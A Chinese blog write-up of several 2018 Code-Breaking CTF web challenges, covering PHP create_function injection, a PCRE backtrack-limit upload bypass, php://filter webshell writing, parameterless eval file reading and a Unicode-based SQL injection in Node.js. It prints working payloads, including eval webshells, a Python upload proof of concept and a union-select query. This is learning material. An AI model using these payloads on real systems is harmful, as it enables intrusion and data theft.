Code-Breaking Puzzles 2018

翻翻P神2018年整的代码题来做做…

function——create_funciton()的代码执行

<?php
$action = $_GET['action'] ?? '';
$arg = $_GET['arg'] ?? '';

if(preg_match('/^[a-z0-9_]*$/isD', $action)) {
    show_source(__FILE__);
} else {
    $action('', $arg);
}

函数名可控,且有两个参数,且第二个参数可控,由此猜想是create_function的代码执行

create_function(string $args, string $code): string

创建一个匿名函数,$args表示匿名函数的参数,$code表示匿名函数的执行代码

相当于:
function __lambda_func ( function_args ) { function_code } \0

这里需要绕过正则/^[a-z0-9_]*$/isD,有^$那么需要找到一个字符加到开头或末尾。
Fuzz一下:
在这里插入图片描述
显然\可以绕过

在PHP的命名空间默认为\,所有的函数和类都在\这个命名空间中,如果直接写函数名function_name()调用,调用的时候其实相当于写了一个相对路径;而如果写\function_name()
这样调用函数,则其实是写了一个绝对路径。如果你在其他namespace里调用系统类,就必须写绝对路径这种写法

还有一个要注意的是,对于类来说,使用全局空间的类,要使用反斜线\,如果不加反斜线解释器就理解为实例化在当前命名空间中定义的类,如果当前命名空间未定义该类,则直接报错,停止运行;


在使用全局的函数或者常量的时候,可以不用加\,通常是这个过程,首先,会在当前的命名空间中寻找是否定义了该函数或者常量,如果定义了,则直接只用命名空间中的函数或者常量,不再往外层继续寻找;如果当前的命名空间中没有定义该常量或者函数时,就会去寻找全局空间,也就是""中是否存在该函数或者常量,如果存在,就是用全局空间中的该函数或者常量,如果不存在,则报错。结合上面一个例子和下面这个例子理解。
在这里插入图片描述

Payload:

?action=\create_function&arg=1;}eval($_POST[1]);/*

1=$handler = opendir('..');
while(($name = readdir($handler))!== false){
    echo $name."<br>";echo file_get_contents('../'.$name);
}

在这里插入图片描述

pcrewaf——PCRE正则匹配回溯

<?php
function is_php($data){
    return preg_match('/<\?.*[(`;?>].*/is', $data);
}

if(empty($_FILES)) {
    die(show_source(__FILE__));
}

$user_dir = 'data/' . md5($_SERVER['REMOTE_ADDR']);
$data = file_get_contents($_FILES['file']['tmp_name']);
if (is_php($data)) {
    echo "bad request";
} else {
    @mkdir($user_dir, 0755);
    $path = $user_dir . '/' . random_int(0, 10) . '.php';
    move_uploaded_file($_FILES['file']['tmp_name'], $path);

    header("Location: $path", true, 303);
}

问题出现在正则表达式if_else的设置,结合PCRE最大回溯即可绕过。
正则表达式中的

.*[(`;?>]     

明显造成了回溯,在回溯次数超过环境设置的pcre.backtrack_limit值后,这个preg_match会返回false,那么就可以进入else的分支了

最大回溯是多少?可以查看当前环境的pcre.backtrack_limit,一般是一百万次

var_dump(ini_get('pcre.backtrack_limit'));

直接用POC:

import requests
from io import BytesIO

files = {
  'file': BytesIO(b'aaa<?php eval($_POST[1]);//' + b'a' * 1000000)
}

res = requests.post('http://119.29.60.71:8088/index.php', files=files, allow_redirects=False)
print(res.headers)

phpmagic

一共两部分代码

<?php
if(isset($_GET['read-source'])) {
    exit(show_source(__FILE__));
}

define('DATA_DIR', dirname(__FILE__) . '/data/' . md5($_SERVER['REMOTE_ADDR']));

if(!is_dir(DATA_DIR)) {
    mkdir(DATA_DIR, 0755, true);
}
chdir(DATA_DIR);

$domain = isset($_POST['domain']) ? $_POST['domain'] : '';
$log_name = isset($_POST['log']) ? $_POST['log'] : date('-Y-m-d');
?>
<?php 
if(!empty($_POST) && $domain):
   $command = sprintf("dig -t A -q %s", escapeshellarg($domain));
   $output = shell_exec($command);

   $output = htmlspecialchars($output, ENT_HTML401 | ENT_QUOTES);

   $log_name = $_SERVER['SERVER_NAME'] . $log_name;
   if(!in_array(pathinfo($log_name, PATHINFO_EXTENSION), ['php', 'php3', 'php4', 'php5', 'phtml', 'pht'], true)) {
       file_put_contents($log_name, $output);
   }

   echo $output;
endif; 
?>

可以file_put_contents写文件,其中文件名$log_name和文件内容$output看似不好掌控。
先说$log_name

一、文件名:
首先 $log_name是由$_POST['log']$_SERVER['SERVER_NAME']组成的,但是$_SERVER['SERVER_NAME']似乎难以控制,到手册中查查$_SERVER['SERVER_NAME'],说是可能被伪造,上网搜搜伪造的方法是报文头中的Host字段

在这里插入图片描述
本地测试一下,发现确实通过Host能伪造$_SERVER['SERVER_NAME']
在这里插入图片描述
那么文件名可控了,但又有个黑名单,通过pathinfo(x,PATHINFO_EXTENSION)获取到文件名后缀并匹配黑名单。这里绕过的方式是往文件名后加上/.,那么pathinfo()对这样的文件名就会返回空,从而绕过,具体的原理看看师傅的:php_apache2_操作系统之间的一些黑魔法
在这里插入图片描述

二、文件内容:
这里一开始想的是找找dig的参数,看看能否命令注入的,然后没搞出个所以然,就这么卡住了。

看了师傅们的操作发现居然用到了php://filter伪协议,确实,file_put_contents()中的文件名使用伪协议的base64过滤器,那么文件内容就可以写base64加密后的一句话从而拼接上去即可了

要使用base64过滤器解码,就得注意base64是将每4个字符转成6个字符的,可以解码的字符有:(A-Za-z0-9+/),遇到不在范围内的字符就直接跳过。所以本题中我们输入的命令前面就只会解码以下字符,一共40个,4的倍数,也就不需要我们填充字符了

原字符串:
; &lt;&lt;&gt;&gt; DiG 9.9.5-9+deb8u15-Debian &lt;&lt;&gt;&gt; -t A -q

会被base64解码的:
ltltgtgtDiG9959deb8u15+DebianltltgtgttAq

需要注意base64解码时遇到=会停止解码的,也就是说我们要避免=的出现,因此假设base64加密后是这样的:PD9waHAgZXZhbCgkX1BPU1RbY21kXSk7Pz4=,我们可以将结尾的=替换成别的字符,即不会解码错误也不影响原内容。

那么如果出现了+,一定要进行URL编码

构造如下:

domain=PD9waHAgQGV2YWwoJF9SRVFVRVNUW2NtZF0pOz8%2b&log=://filter/write=convert.base64-decode/resource=14.php/.

在这里插入图片描述
访问/data/md5($_SERVER['REMOTE_ADDR']目录:
在这里插入图片描述

phplimit——无参数文件读取

<?php
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {    
    eval($_GET['code']);
} else {
    show_source(__FILE__);
}

[^\W]这个正则转了一圈还是要匹配所有单词字符[a-zA-Z0-9_](?R)表示引用正则表达式,这里就是引用[^\W],整个正则的意思就是要匹配函数,也就是无参数文件读取了

一开始执行下面这代码发现flag是在上层目录

print_r(next(array_reverse(scandir(next(scandir(current(localeconv())))))));

使用chdir()更换目录,接着使用dirname(),如果dirname()的参数没有斜杠,则返回一个点,接着scandir()即可读取目录文件名了

print_r(file_get_contents(next(array_reverse(scandir(dirname(chdir(dirname(getcwd()))))))));

还可以用get_defined_vars()来配合命令执行,但这题ban一些执行函数

eval(end(current(get_defined_vars())));&byc=system('ls');

nodechr

主要是下面两部分代码,其中用到了toUpperCase()方法

function safeKeyword(keyword) {
    if(isString(keyword) && !keyword.match(/(union|select|;|\-\-)/is)) {
        return keyword
    }

    return undefined
}

async function login(ctx, next) {
    if(ctx.method == 'POST') {
        let username = safeKeyword(ctx.request.body['username'])
        let password = safeKeyword(ctx.request.body['password'])

        let jump = ctx.router.url('login')
        if (username && password) {
            let user = await ctx.db.get(`SELECT * FROM "users" WHERE "username" = '${username.toUpperCase()}' AND "password" = '${password.toUpperCase()}'`)

            if (user) {
                ctx.session.user = user

                jump = ctx.router.url('admin')
            }

        }

        ctx.status = 303
        ctx.redirect(jump)
    } else {
        await ctx.render('index')
    }
}

SQL查询语句很简单,但据说flag是在flag表中,那么使用子查询似乎不可避免,union、select关键字的绕过就很重要了。

绕过方式要参考p神的文章:Fuzz中的javascript大小写特性

"ı".toUpperCase() == 'I'"ſ".toUpperCase() == 'S'

"K".toLowerCase() == 'k'.

在这里插入图片描述
搭建的环境不行,但Payload大致是这样…

password=-1' unıon ſelect 1,2,(ſelect flag from flags) where '1'='1&username=admin
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值